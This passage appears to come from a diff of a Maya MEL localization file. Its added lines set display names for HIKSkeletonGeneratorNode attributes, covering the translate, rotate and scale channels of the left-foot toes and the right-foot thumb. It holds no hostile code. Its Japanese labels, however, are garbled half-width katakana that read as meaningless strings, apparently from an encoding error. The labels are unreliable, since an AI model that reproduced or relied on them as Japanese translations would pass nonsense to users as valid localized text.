"HIKSkeletonGeneratorNode", "LeftFootMiddle1Tx", "ラスナヨミヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Ty", "ラスナヨミヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Tz", "ラスナヨミヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1R", "ラスナヨミヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Rx", "ラスナヨミヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Ry", "ラスナヨミヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Rz", "ラスナヨミヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1S", "ラスナヨミヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Sx", "ラスナヨミヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Sy", "ラスナヨミヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Sz", "ラスナヨミヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2T", "ラスナヨミヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Tx", "ラスナヨミヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Ty", "ラスナヨミヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Tz", "ラスナヨミヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2R", "ラスナヨミヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Rx", "ラスナヨミヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Ry", "ラスナヨミヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Rz", "ラスナヨミヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2S", "ラスナヨミヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Sx", "ラスナヨミヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Sy", "ラスナヨミヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Sz", "ラスナヨミヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3T", "ラスナヨミヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Tx", "ラスナヨミヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Ty", "ラスナヨミヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Tz", "ラスナヨミヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3R", "ラスナヨミヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Rx", "ラスナヨミヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Ry", "ラスナヨミヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Rz", "ラスナヨミヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3S", "ラスナヨミヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Sx", "ラスナヨミヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Sy", "ラスナヨミヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Sz", "ラスナヨミヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4T", "ラスナヨミヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Tx", "ラスナヨミヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Ty", "ラスナヨミヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Tz", "ラスナヨミヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4R", "ラスナヨミヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Rx", "ラスナヨミヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Ry", "ラスナヨミヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Rz", "ラスナヨミヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4S", "ラスナヨミヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Sx", "ラスナヨミヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Sy", "ラスナヨミヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Sz", "ラスナヨミヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1T", "ラスナヒトヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Tx", "ラスナヒトヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Ty", "ラスナヒトヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Tz", "ラスナヒトヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1R", "ラスナヒトヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Rx", "ラスナヒトヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Ry", "ラスナヒトヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Rz", "ラスナヒトヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1S", "ラスナヒトヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Sx", "ラスナヒトヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Sy", "ラスナヒトヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Sz", "ラスナヒトヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2T", "ラスナヒトヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Tx", "ラスナヒトヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Ty", "ラスナヒトヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Tz", "ラスナヒトヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2R", "ラスナヒトヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Rx", "ラスナヒトヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Ry", "ラスナヒトヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Rz", "ラスナヒトヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2S", "ラスナヒトヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Sx", "ラスナヒトヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Sy", "ラスナヒトヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Sz", "ラスナヒトヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3T", "ラスナヒトヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Tx", "ラスナヒトヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Ty", "ラスナヒトヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Tz", "ラスナヒトヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3R", "ラスナヒトヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Rx", "ラスナヒトヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Ry", "ラスナヒトヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Rz", "ラスナヒトヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3S", "ラスナヒトヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Sx", "ラスナヒトヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Sy", "ラスナヒトヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Sz", "ラスナヒトヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4T", "ラスナヒトヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Tx", "ラスナヒトヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Ty", "ラスナヒトヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Tz", "ラスナヒトヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4R", "ラスナヒトヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Rx", "ラスナヒトヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Ry", "ラスナヒトヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Rz", "ラスナヒトヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4S", "ラスナヒトヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Sx", "ラスナヒトヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Sy", "ラスナヒトヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Sz", "ラスナヒトヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1T", "ラスナミ。ヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Tx", "ラスナミ。ヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Ty", "ラスナミ。ヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Tz", "ラスナミ。ヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1R", "ラスナミ。ヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Rx", "ラスナミ。ヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Ry", "ラスナミ。ヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Rz", "ラスナミ。ヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1S", "ラスナミ。ヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Sx", "ラスナミ。ヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Sy", "ラスナミ。ヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Sz", "ラスナミ。ヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2T", "ラスナミ。ヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Tx", "ラスナミ。ヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Ty", "ラスナミ。ヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Tz", "ラスナミ。ヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2R", "ラスナミ。ヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Rx", "ラスナミ。ヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Ry", "ラスナミ。ヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Rz", "ラスナミ。ヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2S", "ラスナミ。ヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Sx", "ラスナミ。ヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Sy", "ラスナミ。ヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Sz", "ラスナミ。ヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3T", "ラスナミ。ヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Tx", "ラスナミ。ヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Ty", "ラスナミ。ヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Tz", "ラスナミ。ヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3R", "ラスナミ。ヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Rx", "ラスナミ。ヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Ry", "ラスナミ。ヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Rz", "ラスナミ。ヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3S", "ラスナミ。ヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Sx", "ラスナミ。ヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Sy", "ラスナミ。ヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Sz", "ラスナミ。ヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4T", "ラスナミ。ヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Tx", "ラスナミ。ヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Ty", "ラスナミ。ヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Tz", "ラスナミ。ヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4R", "ラスナミ。ヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Rx", "ラスナミ。ヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Ry", "ラスナミ。ヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Rz", "ラスナミ。ヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4S", "ラスナミ。ヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Sx", "ラスナミ。ヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Sy", "ラスナミ。ヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Sz", "ラスナミ。ヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1T", "ラスナチヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Tx", "ラスナチヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Ty", "ラスナチヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Tz", "ラスナチヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1R", "ラスナチヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Rx", "ラスナチヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Ry", "ラスナチヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Rz", "ラスナチヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1S", "ラスナチヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Sx", "ラスナチヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Sy", "ラスナチヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Sz", "ラスナチヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2T", "ラスナチヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Tx", "ラスナチヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Ty", "ラスナチヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Tz", "ラスナチヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2R", "ラスナチヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Rx", "ラスナチヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Ry", "ラスナチヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Rz", "ラスナチヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2S", "ラスナチヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Sx", "ラスナチヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Sy", "ラスナチヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Sz", "ラスナチヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3T", "ラスナチヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Tx", "ラスナチヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Ty", "ラスナチヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Tz", "ラスナチヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3R", "ラスナチヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Rx", "ラスナチヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Ry", "ラスナチヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Rz", "ラスナチヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3S", "ラスナチヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Sx", "ラスナチヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Sy", "ラスナチヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Sz", "ラスナチヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4T", "ラスナチヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Tx", "ラスナチヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Ty", "ラスナチヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Tz", "ラスナチヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4R", "ラスナチヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Rx", "ラスナチヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Ry", "ラスナチヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Rz", "ラスナチヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4S", "ラスナチヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Sx", "ラスナチヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Sy", "ラスナチヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Sz", "ラスナチヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1T", "モメスナエヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Tx", "モメスナエヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Ty", "モメスナエヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Tz", "モメスナエヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1R", "モメスナエヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Rx", "モメスナエヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Ry", "モメスナエヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Rz", "モメスナエヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1S", "モメスナエヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Sx", "モメスナエヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Sy", "モメスナエヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Sz", "モメスナエヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2T", "モメスナエヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Tx", "モメスナエヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Ty", "モメスナエヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Tz", "モメスナエヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2R", "モメスナエヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Rx", "モメスナエヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Ry", "モメスナエヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Rz", "モメスナエヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2S", "モメスナエヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Sx", "モメスナエヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Sy", "モメスナエヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Sz", "モメスナエヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3T", "モメスナエヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Tx", "モメスナエヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Ty", "モメスナエヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Tz", "モメスナエヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3R", "モメスナエヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Rx", "モメスナエヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Ry", "モメスナエヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Rz", "モメスナエヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", 